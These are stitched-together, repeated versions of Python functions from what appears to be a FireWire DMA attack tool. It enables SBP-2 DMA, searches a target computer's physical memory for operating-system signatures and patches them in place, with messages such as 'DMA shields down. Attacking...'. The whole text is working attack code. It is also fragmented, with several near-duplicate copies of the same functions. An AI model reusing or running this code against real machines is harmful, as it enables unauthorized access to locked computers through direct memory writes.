def __init__(self): ''' Constructor Initializes the bus and sets device, OUI variables ''' self._bus = Bus() try: self._bus.enable_sbp2() except IOError: poll('FireWire modules do not seem to be loaded. Load them? ' + '[Y/n]: ') answer = input().lower() if answer in ['y', '']: status = call('modprobe firewire-ohci', shell=True) if status == 0: try: self._bus.enable_sbp2() except IOError: time.sleep(2) # Give some more time self._bus.enable_sbp2() # If this fails, fail hard info('FireWire modules loaded successfully') else: fail('Could not load FireWire modules') else: fail('FireWire modules not loaded') # Enable SBP-2 support to ensure we get DMA self._devices = self._bus.devices() self._oui = self.init_OUI() self._vendors = [] self._max_request_size = cfg.PAGESIZE
def businfo(self): ''' Prints all available information of the devices connected to the FireWire bus, looks up missing vendor names & populates the internal vendor list ''' if not self._devices: fail('No FireWire devices detected on the bus') msg('*', 'FireWire devices on the bus (names may appear blank):') separator() for n, device in enumerate(self._devices, 1): vid = device.vendor_id vendorname = device.vendor_name.decode(settings.encoding) # Resolve if name not given by device vendor ID if not vendorname: vendorname = self.resolve_oui(vid) self._vendors.append(vendorname) pid = device.product_id productname = device.product_name.decode(settings.encoding) msg(n, 'Vendor (ID): {0} ({1:#x}) | Product (ID): {2} ({3:#x})'.format(vendorname, vid, productname, pid)) separator()
def businfo(self): """ Prints all available information of the devices connected to the FW bus, looks up missing vendor names & populates the internal vendor list """ if not self._devices: fail("No FireWire devices detected on the bus") info("FireWire devices on the bus (names may appear blank):") separator() for n, device in enumerate(self._devices, 1): vid = device.vendor_id vendorname = device.vendor_name.decode(cfg.encoding) # Resolve if name not given by device vendor ID if not vendorname: vendorname = self.resolve_oui(vid) self._vendors.append(vendorname) pid = device.product_id productname = device.product_name.decode(cfg.encoding) info( "Vendor (ID): {0} ({1:#x}) | Product (ID): {2} ({3:#x})".format(vendorname, vid, productname, pid), sign=n, ) separator()
def attack(targets): ''' Main attack logic ''' # Initialize and lower DMA shield if not cfg.filemode: try: fw = FireWire() except IOError: fail('Could not initialize FireWire. Are the modules loaded into ' + 'the kernel?') start = time.time() device_index = fw.select_device() # Print selection info('Selected device: {0}'.format(fw.vendors[device_index])) # List targets list_targets(targets) # Select target target = select_target(targets) # Print selection. If verbose, print selection with signatures info('Selected target: ' + target['OS'] + ': ' + target['name']) if cfg.verbose: printdetails(target) # Lower DMA shield or use a file as input, and set memsize device = None memsize = None if cfg.filemode: device = MemoryFile(cfg.filename, cfg.PAGESIZE) memsize = os.path.getsize(cfg.filename) else: elapsed = int(time.time() - start) device = fw.getdevice(device_index, elapsed) memsize = cfg.memsize # Perform parallel search for all signatures for each OS at the known # offsets info('DMA shields should be down by now. Attacking...') address, chunks = searchanddestroy(device, target, memsize) if not address: # TODO: Fall-back sequential search? return None, None # Signature found, let's patch mask = 0xfffff000 # Mask away the lower bits to find the page number page = int((address & mask) / cfg.PAGESIZE) info('Signature found at {0:#x} (in page # {1})'.format(address, page)) if not cfg.dry_run: success = patch(device, address, chunks) if success: info('Write-back verified; patching successful') if cfg.egg: sound.play('data/inception.wav') info('BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!') else: warn('Write-back could not be verified; patching *may* have been ' + 'unsuccessful') #Clean up device.close() return address, page
def searchanddestroy(device, target, memsize): ''' Main search loop ''' pageaddress = cfg.startaddress signatures = target['signatures'] # Add signature lengths in bytes to the dictionary, and replace integer # representations of the signatures and patches with bytes for signature in signatures: signature['length'] = siglen(signature['chunks']) offsets = signature['offsets'] # Offsets within pages for chunk in signature['chunks']: chunk['chunk'] = int2binhex(chunk['chunk']) try: chunk['patch'] = int2binhex(chunk['patch']) except KeyError: chunk['patch'] = None # Progress bar prog = ProgressBar(max_value = memsize, total_width = cfg.termwidth, print_data = cfg.verbose) try: # Build a batch of read requests of the form: [(addr1, len1), ...] and # a corresponding match vector: [(chunks1, patchoffset1), ...] j = 0 count = 0 cand = b'\x00' r = [] p = [] while pageaddress < memsize: sig_len = len(signatures) for i in range(sig_len): # Iterate over signatures offsets = signatures[i]['offsets'] # Offsets within pages if isinstance(offsets, int): offsets = [offsets] # Create a list if single offset chunks = signatures[i]['chunks'] # The chunks that is the sig length = signatures[i]['length'] # Sig length in bytes offset_len = len(offsets) for n in range(offset_len): # Iterate over offsets address = pageaddress + offsets[n] + cfg.PAGESIZE * j r.append((address, length)) p.append(chunks) count += 1 # If we have built a full vector, read from memory and # compare to the corresponding signatures if count == cfg.vectorsize: # Read data from device m = 0 for caddr, cand in device.readv(r): if match(cand, p[m]): print() return (caddr, p[m]) m += 1 # Jump to next pages (we're finished with these) mask = ~(cfg.PAGESIZE - 0x01) pageaddress = address & mask if sig_len == i and offset_len == n: pageaddress = pageaddress + cfg.PAGESIZE # Zero out counters and vectors j = 0 count = 0 r = [] p = [] # Print status prog.update_amount(pageaddress, cand) prog.draw() j += 1 # Increase read request count except IOError: print() fail('I/O Error, make sure FireWire interfaces are properly connected') except KeyboardInterrupt: print() fail('Aborted') raise KeyboardInterrupt # If we get here, we haven't found anything :-/ print() return (None, None)
# Error handling for cases where libforensic1394 is not installed in /usr/lib try: from forensic1394.bus import Bus except OSError: host_os = detectos() try: path = os.environ['LD_LIBRARY_PATH'] except KeyError: path = '' # If the host OS is Linux, we may need to set LD_LIBRARY_PATH to make python # find the libs if host_os == cfg.LINUX and '/usr/local/lib' not in path: os.putenv('LD_LIBRARY_PATH', "/usr/local/lib") restart() else: fail('Could not load libforensic1394') # List of FireWire OUIs OUI = {} class FireWire: ''' FireWire wrapper class to handle some attack-specific functions ''' def __init__(self): ''' Constructor Initializes the bus and sets device, OUI variables ''' self._bus = Bus()
def searchanddestroy(device, target, memsize): ''' Main search loop ''' pageaddress = settings.startaddress signatures = target['signatures'] # Add signature lengths in bytes to the dictionary, and replace integer # representations of the signatures and patches with bytes for signature in signatures: signature['length'] = siglen(signature['chunks']) offsets = signature['offsets'] # Offsets within pages for chunk in signature['chunks']: chunk['chunk'] = int2binhex(chunk['chunk']) try: chunk['patch'] = int2binhex(chunk['patch']) except KeyError: chunk['patch'] = None try: # Build a batch of read requests of the form: [(addr1, len1), ...] and # a corresponding match vector: [(chunks1, patchoffset1), ...] j = 0 count = 0 cand = b'\x00' r = [] p = [] while pageaddress < memsize: sig_len = len(signatures) for i in range(sig_len): # Iterate over signatures offsets = signatures[i]['offsets'] # Offsets within pages if isinstance(offsets, int): offsets = [offsets] # Create a list if single offset chunks = signatures[i]['chunks'] # The chunks that is the sig length = signatures[i]['length'] # Sig length in bytes offset_len = len(offsets) for n in range(offset_len): # Iterate over offsets address = pageaddress + offsets[n] + settings.PAGESIZE * j r.append((address, length)) p.append(chunks) count += 1 # If we have built a full vector, read from memory and # compare to the corresponding signatures if count == settings.vectorsize: # Read data from device m = 0 for caddr, cand in device.readv(r): if match(cand, p[m]): print() return (caddr, p[m]) m += 1 # Jump to next pages (we're finished with these) mask = ~(settings.PAGESIZE - 0x01) pageaddress = address & mask if sig_len == i and offset_len == n: pageaddress = pageaddress + settings.PAGESIZE # Zero out counters and vectors j = 0 count = 0 r = [] p = [] # Print status mibaddr = pageaddress // settings.MiB sys.stdout.write('[*] Searching, {0:>4d} MiB so far'.format(mibaddr)) if settings.verbose: sys.stdout.write('. Sample data read: {0}'.format(bytes2hexstr(cand)[0:24])) sys.stdout.write('\r') sys.stdout.flush() j += 1 # Increase read request count except IOError: print() fail('I/O Error, make sure FireWire interfaces are properly connected') except KeyboardInterrupt: print() fail('Aborted') raise KeyboardInterrupt # If we get here, we haven't found anything :-/ print() return (None, None)
# Error handling for cases where libforensic1394 is not installed in /usr/lib try: from forensic1394.bus import Bus except OSError: host_os = detectos() try: path = os.environ["LD_LIBRARY_PATH"] except KeyError: path = "" # If the host OS is Linux, we may need to set LD_LIBRARY_PATH to make python # find the libs if host_os == cfg.LINUX and "/usr/local/lib" not in path: os.putenv("LD_LIBRARY_PATH", "/usr/local/lib") restart() else: fail("Could not load libforensic1394") # List of FireWire OUIs OUI = {} class FireWire: """ FireWire wrapper class to handle some attack-specific functions """ def __init__(self): """ Constructor Initializes the bus and sets device, OUI variables """
def attack(targets): ''' Main attack logic ''' # Initialize and lower DMA shield if not settings.filemode: try: fw = FireWire() except IOError: fail( 'Could not initialize FireWire. Are the modules loaded into the kernel?' ) start = time.time() device_index = fw.select_device() # Print selection msg('*', 'Selected device: {0}'.format(fw.vendors[device_index])) # List targets msg('*', 'Available targets:') separator() for number, target in enumerate(targets, 1): msg(number, target['OS'] + ': ' + target['name']) separator() # Select target target = select_target(targets) # Print selection. If verbose, print selection with signatures msg('*', 'Selected target: ' + target['OS'] + ': ' + target['name']) if settings.verbose: printdetails(target) # Lower DMA shield or use a file as input, and set memsize device = None memsize = None if settings.filemode: device = MemoryFile(settings.filename, settings.PAGESIZE) memsize = os.path.getsize(settings.filename) else: elapsed = int(time.time() - start) device = fw.getdevice(device_index, elapsed) memsize = settings.memsize # Perform parallel search for all signatures for each OS at the known offsets msg('*', 'DMA shields down. Attacking...') address, chunks = searchanddestroy(device, target, memsize) if not address: # TODO: Fall-back sequential search? return None, None # Signature found, let's patch mask = 0xfffff000 # Mask away the lower bits to find the page number page = int((address & mask) / settings.PAGESIZE) msg('*', 'Signature found at {0:#x} (@page # {1})'.format(address, page)) if not settings.dry_run: success = patch(device, address, chunks) if success: msg('*', 'Write-back verified; patching successful') msg('*', 'BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!') else: msg( '!', 'Write-back could not be verified; patching may have been unsuccessful.' ) #Clean up device.close() return address, page
def searchanddestroy(device, target, memsize): ''' Main search loop ''' pageaddress = settings.startaddress signatures = target['signatures'] # Add signature lengths in bytes to the dictionary, and replace integer # representations of the signatures and patches with bytes for signature in signatures: signature['length'] = siglen(signature['chunks']) offsets = signature['offsets'] # Offsets within pages for chunk in signature['chunks']: chunk['chunk'] = int2binhex(chunk['chunk']) try: chunk['patch'] = int2binhex(chunk['patch']) except KeyError: chunk['patch'] = None try: # Build a batch of read requests of the form: [(addr1, len1), ...] and # a corresponding match vector: [(chunks1, patchoffset1), ...] j = 0 count = 0 cand = b'\x00' r = [] p = [] while pageaddress < memsize: sig_len = len(signatures) for i in range(sig_len): # Iterate over signatures offsets = signatures[i]['offsets'] # Offsets within pages if isinstance(offsets, int): offsets = [offsets] # Create a list if single offset chunks = signatures[i]['chunks'] # The chunks that is the sig length = signatures[i]['length'] # Sig length in bytes offset_len = len(offsets) for n in range(offset_len): # Iterate over offsets address = pageaddress + offsets[n] + settings.PAGESIZE * j r.append((address, length)) p.append(chunks) count += 1 # If we have built a full vector, read from memory and # compare to the corresponding signatures if count == settings.vectorsize: # Read data from device m = 0 for caddr, cand in device.readv(r): if match(cand, p[m]): print() return (caddr, p[m]) m += 1 # Jump to next pages (we're finished with these) mask = ~(settings.PAGESIZE - 0x01) pageaddress = address & mask if sig_len == i and offset_len == n: pageaddress = pageaddress + settings.PAGESIZE # Zero out counters and vectors j = 0 count = 0 r = [] p = [] # Print status mibaddr = pageaddress // settings.MiB sys.stdout.write( '[*] Searching, {0:>4d} MiB so far'.format( mibaddr)) if settings.verbose: sys.stdout.write('. Sample data read: {0}'.format( bytes2hexstr(cand)[0:24])) sys.stdout.write('\r') sys.stdout.flush() j += 1 # Increase read request count except IOError: print() fail('I/O Error, make sure FireWire interfaces are properly connected') except KeyboardInterrupt: print() fail('Aborted') raise KeyboardInterrupt # If we get here, we haven't found anything :-/ print() return (None, None)
def attack(targets): ''' Main attack logic ''' # Initialize and lower DMA shield if not settings.filemode: try: fw = FireWire() except IOError: fail('Could not initialize FireWire. Are the modules loaded into the kernel?') start = time.time() device_index = fw.select_device() # Print selection msg('*', 'Selected device: {0}'.format(fw.vendors[device_index])) # List targets msg('*', 'Available targets:') separator() for number, target in enumerate(targets, 1): msg(number, target['OS'] + ': ' + target['name']) separator() # Select target target = select_target(targets) # Print selection. If verbose, print selection with signatures msg('*', 'Selected target: ' + target['OS'] + ': ' + target['name']) if settings.verbose: printdetails(target) # Lower DMA shield or use a file as input, and set memsize device = None memsize = None if settings.filemode: device = MemoryFile(settings.filename, settings.PAGESIZE) memsize = os.path.getsize(settings.filename) else: elapsed = int(time.time() - start) device = fw.getdevice(device_index, elapsed) memsize = settings.memsize # Perform parallel search for all signatures for each OS at the known offsets msg('*', 'DMA shields down. Attacking...') address, chunks = searchanddestroy(device, target, memsize) if not address: # TODO: Fall-back sequential search? return None, None # Signature found, let's patch mask = 0xfffff000 # Mask away the lower bits to find the page number page = int((address & mask) / settings.PAGESIZE) msg('*', 'Signature found at {0:#x} (@page # {1})'.format(address, page)) if not settings.dry_run: success = patch(device, address, chunks) if success: msg('*', 'Write-back verified; patching successful') msg('*', 'BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!') else: msg('!', 'Write-back could not be verified; patching may have been unsuccessful.') #Clean up device.close() return address, page